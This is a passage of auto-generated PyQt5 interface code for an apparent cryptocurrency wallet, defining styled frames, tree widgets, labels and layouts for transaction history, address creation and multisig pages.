self.frame_15.setStyleSheet("QFrame#frame_15{border-radius: 4px;}\n"
"QScrollBar:vertical {\n"
" border: 0px solid #999999;\n"
" background:white;\n"
" width:10px; \n"
" margin: 0px 0px 0px 0px;\n"
" }\n"
" QScrollBar::handle:vertical { \n"
" \n"
" min-height: 0px;\n"
" border: 0px solid red;\n"
" border-radius: 4px;\n"
" background-color: black;\n"
" }\n"
" QScrollBar::add-line:vertical { \n"
" height: 0px;\n"
" subcontrol-position: bottom;\n"
" subcontrol-origin: margin;\n"
" }\n"
" QScrollBar::sub-line:vertical {\n"
" height: 0 px;\n"
" subcontrol-position: top;\n"
" subcontrol-origin: margin;\n"
" }")
self.frame_15.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_15.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_15.setObjectName("frame_15")
self.gridLayout_24 = QtWidgets.QGridLayout(self.frame_15)
self.gridLayout_24.setObjectName("gridLayout_24")
self.receive_hist_tree2 = QtWidgets.QTreeWidget(self.frame_15)
self.receive_hist_tree2.setStyleSheet("border-radius: 4px;\n"
"background-color: rgb(201, 207, 207);\n"
"")
self.receive_hist_tree2.setFrameShape(QtWidgets.QFrame.NoFrame)
self.receive_hist_tree2.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectItems)
self.receive_hist_tree2.setIndentation(0)
self.receive_hist_tree2.setWordWrap(True)
self.receive_hist_tree2.setObjectName("receive_hist_tree2")
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.receive_hist_tree2.headerItem().setFont(0, font)
self.receive_hist_tree2.headerItem().setBackground(0, QtGui.QColor(207, 222, 254, 194))
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.receive_hist_tree2.headerItem().setFont(1, font)
self.receive_hist_tree2.headerItem().setBackground(1, QtGui.QColor(207, 222, 254, 194))
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.receive_hist_tree2.headerItem().setFont(2, font)
self.receive_hist_tree2.headerItem().setBackground(2, QtGui.QColor(207, 222, 254, 194))
item_0 = QtWidgets.QTreeWidgetItem(self.receive_hist_tree2)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(13)
item_0.setFont(0, font)
self.receive_hist_tree2.header().setCascadingSectionResizes(True)
self.gridLayout_24.addWidget(self.receive_hist_tree2, 1, 0, 1, 1)
self.label_2 = QtWidgets.QLabel(self.frame_15)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.label_2.setFont(font)
self.label_2.setStyleSheet("padding: 8px")
self.label_2.setIndent(0)
self.label_2.setObjectName("label_2")
self.gridLayout_24.addWidget(self.label_2, 0, 0, 1, 1, QtCore.Qt.AlignHCenter)
self.gridLayout_17.addWidget(self.frame_15, 0, 0, 1, 1)
self.gridLayout_16.addWidget(self.receive_groupBox_2, 2, 0, 1, 1)
spacerItem1 = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)
self.gridLayout_16.addItem(spacerItem1, 3, 0, 1, 1)
self.label_26 = QtWidgets.QLabel(self.receive_header_frame)
self.label_26.setMinimumSize(QtCore.QSize(0, 32))
self.label_26.setText("")
self.label_26.setObjectName("label_26")
self.gridLayout_16.addWidget(self.label_26, 1, 0, 1, 1, QtCore.Qt.AlignHCenter)
self.horizontalLayout.addWidget(self.receive_header_frame)
self.stackedWidget.addWidget(self.receive_page)
self.transactions_page = QtWidgets.QWidget()
self.transactions_page.setObjectName("transactions_page")
self.gridLayout_19 = QtWidgets.QGridLayout(self.transactions_page)
self.gridLayout_19.setObjectName("gridLayout_19")
self.frame_8 = QtWidgets.QFrame(self.transactions_page)
self.frame_8.setStyleSheet("QScrollBar:vertical {\n"
" border: 0px solid #999999;\n"
" background:white;\n"
" width:10px; \n"
" margin: 0px 0px 0px 0px;\n"
" }\n"
" QScrollBar::handle:vertical { \n"
" \n"
" min-height: 0px;\n"
" border: 0px solid red;\n"
" border-radius: 4px;\n"
" background-color: black;\n"
" }\n"
" QScrollBar::add-line:vertical { \n"
" height: 0px;\n"
" subcontrol-position: bottom;\n"
" subcontrol-origin: margin;\n"
" }\n"
" QScrollBar::sub-line:vertical {\n"
" height: 0 px;\n"
" subcontrol-position: top;\n"
" subcontrol-origin: margin;\n"
" }")
self.frame_8.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_8.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_8.setLineWidth(0)
self.frame_8.setObjectName("frame_8")
self.gridLayout_20 = QtWidgets.QGridLayout(self.frame_8)
self.gridLayout_20.setObjectName("gridLayout_20")
self.groupBox_4 = QtWidgets.QGroupBox(self.frame_8)
self.groupBox_4.setTitle("")
self.groupBox_4.setObjectName("groupBox_4")
self.verticalLayout_8 = QtWidgets.QVBoxLayout(self.groupBox_4)
self.verticalLayout_8.setObjectName("verticalLayout_8")
self.frame_16 = QtWidgets.QFrame(self.groupBox_4)
self.frame_16.setMinimumSize(QtCore.QSize(0, 65))
self.frame_16.setMaximumSize(QtCore.QSize(16777215, 65))
self.frame_16.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"border-radius: 8px;\n"
"")
self.frame_16.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_16.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_16.setObjectName("frame_16")
self.gridLayout_25 = QtWidgets.QGridLayout(self.frame_16)
self.gridLayout_25.setObjectName("gridLayout_25")
self.label_11 = QtWidgets.QLabel(self.frame_16)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(28)
font.setBold(True)
font.setWeight(75)
self.label_11.setFont(font)
self.label_11.setStyleSheet("")
self.label_11.setObjectName("label_11")
self.gridLayout_25.addWidget(self.label_11, 1, 0, 1, 1)
self.verticalLayout_8.addWidget(self.frame_16)
self.line_5 = QtWidgets.QFrame(self.groupBox_4)
self.line_5.setFrameShadow(QtWidgets.QFrame.Plain)
self.line_5.setFrameShape(QtWidgets.QFrame.HLine)
self.line_5.setObjectName("line_5")
self.verticalLayout_8.addWidget(self.line_5)
self.frame_45 = QtWidgets.QFrame(self.groupBox_4)
self.frame_45.setMinimumSize(QtCore.QSize(0, 40))
self.frame_45.setMaximumSize(QtCore.QSize(16777215, 40))
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(16)
self.frame_45.setFont(font)
self.frame_45.setStyleSheet("QFrame#frame_45{border-radius: 4px;}\n"
"")
self.frame_45.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_45.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_45.setObjectName("frame_45")
self.gridLayout_66 = QtWidgets.QGridLayout(self.frame_45)
self.gridLayout_66.setContentsMargins(-1, 0, -1, 0)
self.gridLayout_66.setObjectName("gridLayout_66")
self.label_35 = QtWidgets.QLabel(self.frame_45)
self.label_35.setMinimumSize(QtCore.QSize(0, 0))
font = QtGui.QFont()
font.setPointSize(15)
self.label_35.setFont(font)
self.label_35.setStyleSheet("")
self.label_35.setAlignment(QtCore.Qt.AlignLeading|QtCore.Qt.AlignLeft|QtCore.Qt.AlignVCenter)
self.label_35.setIndent(0)
self.label_35.setObjectName("label_35")
self.gridLayout_66.addWidget(self.label_35, 0, 0, 1, 1)
self.verticalLayout_8.addWidget(self.frame_45)
self.frame_17 = QtWidgets.QFrame(self.groupBox_4)
self.frame_17.setMinimumSize(QtCore.QSize(0, 100))
self.frame_17.setStyleSheet("QFrame#frame_17{border-radius: 4px;}")
self.frame_17.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_17.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_17.setObjectName("frame_17")
self.gridLayout_26 = QtWidgets.QGridLayout(self.frame_17)
self.gridLayout_26.setObjectName("gridLayout_26")
self.transaction_hist_tree = QtWidgets.QTreeWidget(self.frame_17)
self.transaction_hist_tree.setEnabled(True)
self.transaction_hist_tree.setMinimumSize(QtCore.QSize(0, 76))
self.transaction_hist_tree.setStyleSheet("border-radius: 8px;\n"
"background-color: rgb(201, 207, 207);\n"
"QListWidget::item { margin: 5px; }\n"
"")
self.transaction_hist_tree.setFrameShape(QtWidgets.QFrame.NoFrame)
self.transaction_hist_tree.setFrameShadow(QtWidgets.QFrame.Raised)
self.transaction_hist_tree.setAutoScrollMargin(4)
self.transaction_hist_tree.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectItems)
self.transaction_hist_tree.setIndentation(0)
self.transaction_hist_tree.setUniformRowHeights(False)
self.transaction_hist_tree.setWordWrap(False)
self.transaction_hist_tree.setObjectName("transaction_hist_tree")
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.transaction_hist_tree.headerItem().setFont(0, font)
self.transaction_hist_tree.headerItem().setBackground(0, QtGui.QColor(207, 222, 254, 194))
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.transaction_hist_tree.headerItem().setFont(1, font)
self.transaction_hist_tree.headerItem().setBackground(1, QtGui.QColor(207, 222, 254, 194))
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.transaction_hist_tree.headerItem().setFont(2, font)
self.transaction_hist_tree.headerItem().setBackground(2, QtGui.QColor(207, 222, 254, 194))
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.transaction_hist_tree.headerItem().setFont(3, font)
self.transaction_hist_tree.headerItem().setBackground(3, QtGui.QColor(207, 222, 254, 194))
self.transaction_hist_tree.header().setCascadingSectionResizes(True)
self.transaction_hist_tree.header().setDefaultSectionSize(120)
self.transaction_hist_tree.header().setHighlightSections(True)
self.transaction_hist_tree.header().setMinimumSectionSize(22)
self.transaction_hist_tree.header().setSortIndicatorShown(False)
self.transaction_hist_tree.header().setStretchLastSection(True)
self.gridLayout_26.addWidget(self.transaction_hist_tree, 1, 0, 1, 1)
self.trns_status = QtWidgets.QLabel(self.frame_17)
self.trns_status.setText("")
self.trns_status.setObjectName("trns_status")
self.gridLayout_26.addWidget(self.trns_status, 0, 0, 1, 1, QtCore.Qt.AlignHCenter)
self.verticalLayout_8.addWidget(self.frame_17)
self.load_trns_btn = QtWidgets.QPushButton(self.groupBox_4)
self.load_trns_btn.setObjectName("load_trns_btn")
self.verticalLayout_8.addWidget(self.load_trns_btn, 0, QtCore.Qt.AlignHCenter)
self.gridLayout_20.addWidget(self.groupBox_4, 0, 0, 1, 1)
self.gridLayout_19.addWidget(self.frame_8, 0, 0, 1, 1)
self.stackedWidget.addWidget(self.transactions_page)
self.sent_page = QtWidgets.QWidget()
self.sent_page.setObjectName("sent_page")
self.gridLayout_35 = QtWidgets.QGridLayout(self.sent_page)
self.gridLayout_35.setObjectName("gridLayout_35")
self.frame_32 = QtWidgets.QFrame(self.sent_page)
self.frame_32.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_32.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_32.setObjectName("frame_32")
self.gridLayout_54 = QtWidgets.QGridLayout(self.frame_32)
self.gridLayout_54.setObjectName("gridLayout_54")
self.groupBox_15 = QtWidgets.QGroupBox(self.frame_32)
self.groupBox_15.setTitle("")
self.groupBox_15.setObjectName("groupBox_15")
self.gridLayout_91 = QtWidgets.QGridLayout(self.groupBox_15)
self.gridLayout_91.setObjectName("gridLayout_91")
self.frame_35 = QtWidgets.QFrame(self.groupBox_15)
self.frame_35.setStyleSheet("QFrame#frame_35{border-radius: 4px;}")
self.frame_35.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_35.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_35.setObjectName("frame_35")
self.gridLayout_94 = QtWidgets.QGridLayout(self.frame_35)
self.gridLayout_94.setObjectName("gridLayout_94")
self.label_51 = QtWidgets.QLabel(self.frame_35)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.label_51.setFont(font)
self.label_51.setStyleSheet("")
self.label_51.setObjectName("label_51")
self.gridLayout_94.addWidget(self.label_51, 0, 0, 1, 1)
self.lineEdit_7 = QtWidgets.QLineEdit(self.frame_35)
self.lineEdit_7.setMinimumSize(QtCore.QSize(0, 35))
font = QtGui.QFont()
font.setFamily("Futura")
self.lineEdit_7.setFont(font)
self.lineEdit_7.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"border: 1px solid rgb(210, 216, 216);\n"
"border-radius: 4px;\n"
"")
self.lineEdit_7.setObjectName("lineEdit_7")
self.gridLayout_94.addWidget(self.lineEdit_7, 0, 1, 1, 1)
self.textEdit_4 = QtWidgets.QTextEdit(self.frame_35)
font = QtGui.QFont()
font.setFamily("Futura")
self.textEdit_4.setFont(font)
self.textEdit_4.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"border: 1px solid rgb(210, 216, 216);\n"
"border-radius: 4px;")
self.textEdit_4.setObjectName("textEdit_4")
self.gridLayout_94.addWidget(self.textEdit_4, 1, 1, 1, 1)
self.label_52 = QtWidgets.QLabel(self.frame_35)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setItalic(False)
font.setWeight(75)
self.label_52.setFont(font)
self.label_52.setStyleSheet("")
self.label_52.setObjectName("label_52")
self.gridLayout_94.addWidget(self.label_52, 1, 0, 1, 1)
self.gridLayout_91.addWidget(self.frame_35, 3, 0, 1, 1)
self.frame_54 = QtWidgets.QFrame(self.groupBox_15)
self.frame_54.setMinimumSize(QtCore.QSize(0, 65))
self.frame_54.setMaximumSize(QtCore.QSize(16777215, 65))
self.frame_54.setStyleSheet("border-radius: 8px;\n"
"background-color: rgb(253, 253, 255);\n"
"")
self.frame_54.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_54.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_54.setObjectName("frame_54")
self.gridLayout_93 = QtWidgets.QGridLayout(self.frame_54)
self.gridLayout_93.setObjectName("gridLayout_93")
self.label_43 = QtWidgets.QLabel(self.frame_54)
self.label_43.setMinimumSize(QtCore.QSize(0, 35))
self.label_43.setMaximumSize(QtCore.QSize(16777215, 65))
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(28)
font.setBold(True)
font.setWeight(75)
self.label_43.setFont(font)
self.label_43.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"")
self.label_43.setObjectName("label_43")
self.gridLayout_93.addWidget(self.label_43, 0, 0, 1, 1)
self.gridLayout_91.addWidget(self.frame_54, 0, 0, 1, 1)
self.line_18 = QtWidgets.QFrame(self.groupBox_15)
self.line_18.setFrameShadow(QtWidgets.QFrame.Plain)
self.line_18.setFrameShape(QtWidgets.QFrame.HLine)
self.line_18.setObjectName("line_18")
self.gridLayout_91.addWidget(self.line_18, 1, 0, 1, 1)
self.frame_67 = QtWidgets.QFrame(self.groupBox_15)
self.frame_67.setMinimumSize(QtCore.QSize(0, 0))
self.frame_67.setMaximumSize(QtCore.QSize(16777215, 40))
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(16)
self.frame_67.setFont(font)
self.frame_67.setStyleSheet("QFrame#frame_67{border-radius: 4px;}")
self.frame_67.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_67.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_67.setObjectName("frame_67")
self.gridLayout_92 = QtWidgets.QGridLayout(self.frame_67)
self.gridLayout_92.setObjectName("gridLayout_92")
self.label_50 = QtWidgets.QLabel(self.frame_67)
font = QtGui.QFont()
font.setPointSize(15)
self.label_50.setFont(font)
self.label_50.setStyleSheet("")
self.label_50.setObjectName("label_50")
self.gridLayout_92.addWidget(self.label_50, 0, 0, 1, 1)
self.gridLayout_91.addWidget(self.frame_67, 2, 0, 1, 1)
self.gridLayout_54.addWidget(self.groupBox_15, 0, 0, 1, 1)
self.gridLayout_35.addWidget(self.frame_32, 0, 0, 1, 1)
self.stackedWidget.addWidget(self.sent_page)
self.added_keys_page = QtWidgets.QWidget()
self.added_keys_page.setObjectName("added_keys_page")
self.gridLayout_149 = QtWidgets.QGridLayout(self.added_keys_page)
self.gridLayout_149.setObjectName("gridLayout_149")
self.frame_113 = QtWidgets.QFrame(self.added_keys_page)
self.frame_113.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_113.setFrameShadow(QtWidgets.QFrame.Plain)
self.frame_113.setObjectName("frame_113")
self.gridLayout_150 = QtWidgets.QGridLayout(self.frame_113)
self.gridLayout_150.setObjectName("gridLayout_150")
self.groupBox_24 = QtWidgets.QGroupBox(self.frame_113)
self.groupBox_24.setTitle("")
self.groupBox_24.setObjectName("groupBox_24")
self.gridLayout_151 = QtWidgets.QGridLayout(self.groupBox_24)
self.gridLayout_151.setObjectName("gridLayout_151")
self.line_26 = QtWidgets.QFrame(self.groupBox_24)
self.line_26.setFrameShadow(QtWidgets.QFrame.Plain)
self.line_26.setFrameShape(QtWidgets.QFrame.HLine)
self.line_26.setObjectName("line_26")
self.gridLayout_151.addWidget(self.line_26, 1, 0, 1, 1)
self.frame_114 = QtWidgets.QFrame(self.groupBox_24)
self.frame_114.setMinimumSize(QtCore.QSize(0, 65))
self.frame_114.setMaximumSize(QtCore.QSize(16777215, 65))
self.frame_114.setStyleSheet("border-radius: 8px;\n"
"background-color: rgb(253, 253, 255);\n"
"")
self.frame_114.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_114.setFrameShadow(QtWidgets.QFrame.Plain)
self.frame_114.setObjectName("frame_114")
self.gridLayout_152 = QtWidgets.QGridLayout(self.frame_114)
self.gridLayout_152.setObjectName("gridLayout_152")
self.label_91 = QtWidgets.QLabel(self.frame_114)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(28)
font.setBold(True)
font.setWeight(75)
self.label_91.setFont(font)
self.label_91.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"")
self.label_91.setObjectName("label_91")
self.gridLayout_152.addWidget(self.label_91, 0, 0, 1, 1)
self.gridLayout_151.addWidget(self.frame_114, 0, 0, 1, 1)
self.frame_115 = QtWidgets.QFrame(self.groupBox_24)
self.frame_115.setStyleSheet("border-radius: 4px;")
self.frame_115.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_115.setFrameShadow(QtWidgets.QFrame.Plain)
self.frame_115.setObjectName("frame_115")
self.gridLayout_153 = QtWidgets.QGridLayout(self.frame_115)
self.gridLayout_153.setObjectName("gridLayout_153")
self.label_92 = QtWidgets.QLabel(self.frame_115)
font = QtGui.QFont()
font.setPointSize(15)
self.label_92.setFont(font)
self.label_92.setStyleSheet("")
self.label_92.setObjectName("label_92")
self.gridLayout_153.addWidget(self.label_92, 0, 0, 1, 1)
self.gridLayout_151.addWidget(self.frame_115, 2, 0, 1, 1)
self.gridLayout_150.addWidget(self.groupBox_24, 0, 0, 1, 1)
spacerItem2 = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)
self.gridLayout_150.addItem(spacerItem2, 1, 0, 1, 1)
self.gridLayout_149.addWidget(self.frame_113, 0, 0, 1, 1)
self.stackedWidget.addWidget(self.added_keys_page)
self.address_create_page = QtWidgets.QWidget()
self.address_create_page.setObjectName("address_create_page")
self.gridLayout_21 = QtWidgets.QGridLayout(self.address_create_page)
self.gridLayout_21.setObjectName("gridLayout_21")
self.frame_23 = QtWidgets.QFrame(self.address_create_page)
self.frame_23.setMinimumSize(QtCore.QSize(0, 100))
self.frame_23.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_23.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_23.setObjectName("frame_23")
self.gridLayout_28 = QtWidgets.QGridLayout(self.frame_23)
self.gridLayout_28.setObjectName("gridLayout_28")
self.groupBox_2 = QtWidgets.QGroupBox(self.frame_23)
self.groupBox_2.setTitle("")
self.groupBox_2.setObjectName("groupBox_2")
self.verticalLayout_12 = QtWidgets.QVBoxLayout(self.groupBox_2)
self.verticalLayout_12.setObjectName("verticalLayout_12")
self.address_label_frame = QtWidgets.QFrame(self.groupBox_2)
self.address_label_frame.setMinimumSize(QtCore.QSize(0, 65))
self.address_label_frame.setMaximumSize(QtCore.QSize(16777215, 65))
self.address_label_frame.setStyleSheet("border-radius: 8px;\n"
"background-color: rgb(253, 253, 255);\n"
"")
self.address_label_frame.setFrameShape(QtWidgets.QFrame.NoFrame)
self.address_label_frame.setFrameShadow(QtWidgets.QFrame.Raised)
self.address_label_frame.setObjectName("address_label_frame")
self.verticalLayout_4 = QtWidgets.QVBoxLayout(self.address_label_frame)
self.verticalLayout_4.setObjectName("verticalLayout_4")
self.address_create_label = QtWidgets.QLabel(self.address_label_frame)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(28)
font.setBold(True)
font.setItalic(False)
font.setWeight(75)
self.address_create_label.setFont(font)
self.address_create_label.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"")
self.address_create_label.setObjectName("address_create_label")
self.verticalLayout_4.addWidget(self.address_create_label)
self.verticalLayout_12.addWidget(self.address_label_frame)
self.line_6 = QtWidgets.QFrame(self.groupBox_2)
self.line_6.setFrameShadow(QtWidgets.QFrame.Plain)
self.line_6.setFrameShape(QtWidgets.QFrame.HLine)
self.line_6.setObjectName("line_6")
self.verticalLayout_12.addWidget(self.line_6)
self.frame_20 = QtWidgets.QFrame(self.groupBox_2)
self.frame_20.setMinimumSize(QtCore.QSize(0, 60))
self.frame_20.setMaximumSize(QtCore.QSize(16777215, 60))
self.frame_20.setStyleSheet("\n"
"QFrame#frame_20{border-radius: 4px;}\n"
"")
self.frame_20.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_20.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_20.setObjectName("frame_20")
self.verticalLayout_11 = QtWidgets.QVBoxLayout(self.frame_20)
self.verticalLayout_11.setObjectName("verticalLayout_11")
self.address_sublabel = QtWidgets.QLabel(self.frame_20)
font = QtGui.QFont()
font.setPointSize(15)
self.address_sublabel.setFont(font)
self.address_sublabel.setStyleSheet("")
self.address_sublabel.setObjectName("address_sublabel")
self.verticalLayout_11.addWidget(self.address_sublabel, 0, QtCore.Qt.AlignVCenter)
self.verticalLayout_12.addWidget(self.frame_20)
self.address_create_frame = QtWidgets.QFrame(self.groupBox_2)
self.address_create_frame.setMinimumSize(QtCore.QSize(0, 200))
self.address_create_frame.setMaximumSize(QtCore.QSize(16777215, 200))
self.address_create_frame.setStyleSheet("QFrame#address_create_frame{border-radius: 4px;}")
self.address_create_frame.setFrameShape(QtWidgets.QFrame.NoFrame)
self.address_create_frame.setFrameShadow(QtWidgets.QFrame.Raised)
self.address_create_frame.setLineWidth(0)
self.address_create_frame.setObjectName("address_create_frame")
self.verticalLayout_5 = QtWidgets.QVBoxLayout(self.address_create_frame)
self.verticalLayout_5.setObjectName("verticalLayout_5")
self.address_gen_btn = QtWidgets.QPushButton(self.address_create_frame)
self.address_gen_btn.setObjectName("address_gen_btn")
self.verticalLayout_5.addWidget(self.address_gen_btn, 0, QtCore.Qt.AlignHCenter)
self.frame_11 = QtWidgets.QFrame(self.address_create_frame)
self.frame_11.setMinimumSize(QtCore.QSize(0, 50))
self.frame_11.setMaximumSize(QtCore.QSize(16777215, 50))
self.frame_11.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_11.setFrameShadow(QtWidgets.QFrame.Plain)
self.frame_11.setObjectName("frame_11")
self.gridLayout_38 = QtWidgets.QGridLayout(self.frame_11)
self.gridLayout_38.setObjectName("gridLayout_38")
self.address_label = QtWidgets.QLabel(self.frame_11)
self.address_label.setMaximumSize(QtCore.QSize(16777215, 50))
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setItalic(False)
font.setWeight(75)
self.address_label.setFont(font)
self.address_label.setStyleSheet("")
self.address_label.setObjectName("address_label")
self.gridLayout_38.addWidget(self.address_label, 0, 0, 1, 1)
self.address_line = QtWidgets.QLineEdit(self.frame_11)
self.address_line.setMinimumSize(QtCore.QSize(0, 35))
font = QtGui.QFont()
font.setFamily("Futura")
self.address_line.setFont(font)
self.address_line.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"border: 1px solid rgb(210, 216, 216);\n"
"border-radius: 4px;")
self.address_line.setObjectName("address_line")
self.gridLayout_38.addWidget(self.address_line, 0, 1, 1, 1)
self.verticalLayout_5.addWidget(self.frame_11)
self.verticalLayout_12.addWidget(self.address_create_frame)
self.gridLayout_28.addWidget(self.groupBox_2, 0, 0, 1, 1)
spacerItem3 = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)
self.gridLayout_28.addItem(spacerItem3, 1, 0, 1, 1)
self.gridLayout_21.addWidget(self.frame_23, 0, 0, 1, 1)
self.stackedWidget.addWidget(self.address_create_page)
self.multisig_create_page = QtWidgets.QWidget()
self.multisig_create_page.setObjectName("multisig_create_page")
self.gridLayout_29 = QtWidgets.QGridLayout(self.multisig_create_page)
self.gridLayout_29.setObjectName("gridLayout_29")
self.frame_24 = QtWidgets.QFrame(self.multisig_create_page)
self.frame_24.setStyleSheet("QScrollBar:vertical {\n"
" border: 0px solid #999999;\n"
" background:white;\n"
" width:10px; \n"
" margin: 0px 0px 0px 0px;\n"
" }\n"
" QScrollBar::handle:vertical { \n"
" \n"
" min-height: 0px;\n"
" border: 0px solid red;\n"
" border-radius: 4px;\n"
" background-color: black;\n"
" }\n"
" QScrollBar::add-line:vertical { \n"
" height: 0px;\n"
" subcontrol-position: bottom;\n"
" subcontrol-origin: margin;\n"
" }\n"
" QScrollBar::sub-line:vertical {\n"
" height: 0 px;\n"
" subcontrol-position: top;\n"
" subcontrol-origin: margin;\n"
" }")
self.frame_24.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_24.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_24.setObjectName("frame_24")
self.gridLayout_30 = QtWidgets.QGridLayout(self.frame_24)
self.gridLayout_30.setObjectName("gridLayout_30")
self.groupBox_3 = QtWidgets.QGroupBox(self.frame_24)
self.groupBox_3.setTitle("")
self.groupBox_3.setObjectName("groupBox_3")
self.verticalLayout_13 = QtWidgets.QVBoxLayout(self.groupBox_3)
self.verticalLayout_13.setObjectName("verticalLayout_13")
self.frame_25 = QtWidgets.QFrame(self.groupBox_3)
self.frame_25.setMinimumSize(QtCore.QSize(0, 65))
self.frame_25.setMaximumSize(QtCore.QSize(16777215, 65))
self.frame_25.setStyleSheet("border-radius: 8px;\n"
"background-color: rgb(253, 253, 255);\n"
"")
self.frame_25.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_25.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_25.setObjectName("frame_25")
self.verticalLayout_14 = QtWidgets.QVBoxLayout(self.frame_25)
self.verticalLayout_14.setObjectName("verticalLayout_14")
self.label_12 = QtWidgets.QLabel(self.frame_25)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(28)
font.setBold(True)
font.setItalic(False)
font.setWeight(75)
self.label_12.setFont(font)
self.label_12.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"")
self.label_12.setObjectName("label_12")
self.verticalLayout_14.addWidget(self.label_12)
self.verticalLayout_13.addWidget(self.frame_25)
self.line_7 = QtWidgets.QFrame(self.groupBox_3)
self.line_7.setFrameShadow(QtWidgets.QFrame.Plain)
self.line_7.setFrameShape(QtWidgets.QFrame.HLine)
self.line_7.setObjectName("line_7")
self.verticalLayout_13.addWidget(self.line_7)
self.frame_46 = QtWidgets.QFrame(self.groupBox_3)
self.frame_46.setStyleSheet("\n"
"QFrame#frame_46{border-radius: 4px;}\n"
"\n"
"")
self.frame_46.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_46.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_46.setObjectName("frame_46")
self.gridLayout_67 = QtWidgets.QGridLayout(self.frame_46)
self.gridLayout_67.setObjectName("gridLayout_67")
self.label_13 = QtWidgets.QLabel(self.frame_46)
self.label_13.setMinimumSize(QtCore.QSize(0, 0))
self.label_13.setMaximumSize(QtCore.QSize(16777215, 40))
font = QtGui.QFont()
font.setPointSize(15)
self.label_13.setFont(font)
self.label_13.setStyleSheet("background-color: rgba(255, 255, 255, 0);")
self.label_13.setWordWrap(True)
self.label_13.setObjectName("label_13")
self.gridLayout_67.addWidget(self.label_13, 0, 0, 1, 1)
self.verticalLayout_13.addWidget(self.frame_46)
self.frame_27 = QtWidgets.QFrame(self.groupBox_3)
self.frame_27.setStyleSheet("border-radius: 4px;")
self.frame_27.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_27.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_27.setObjectName("frame_27")
self.gridLayout_40 = QtWidgets.QGridLayout(self.frame_27)
self.gridLayout_40.setContentsMargins(-1, -1, -1, 0)
self.gridLayout_40.setHorizontalSpacing(5)
self.gridLayout_40.setObjectName("gridLayout_40")
self.add_multisig_pk_btn = QtWidgets.QPushButton(self.frame_27)
self.add_multisig_pk_btn.setObjectName("add_multisig_pk_btn")
self.gridLayout_40.addWidget(self.add_multisig_pk_btn, 1, 0, 1, 1, QtCore.Qt.AlignHCenter)
self.line_30 = QtWidgets.QFrame(self.frame_27)
self.line_30.setFrameShape(QtWidgets.QFrame.HLine)
self.line_30.setFrameShadow(QtWidgets.QFrame.Sunken)
self.line_30.setObjectName("line_30")
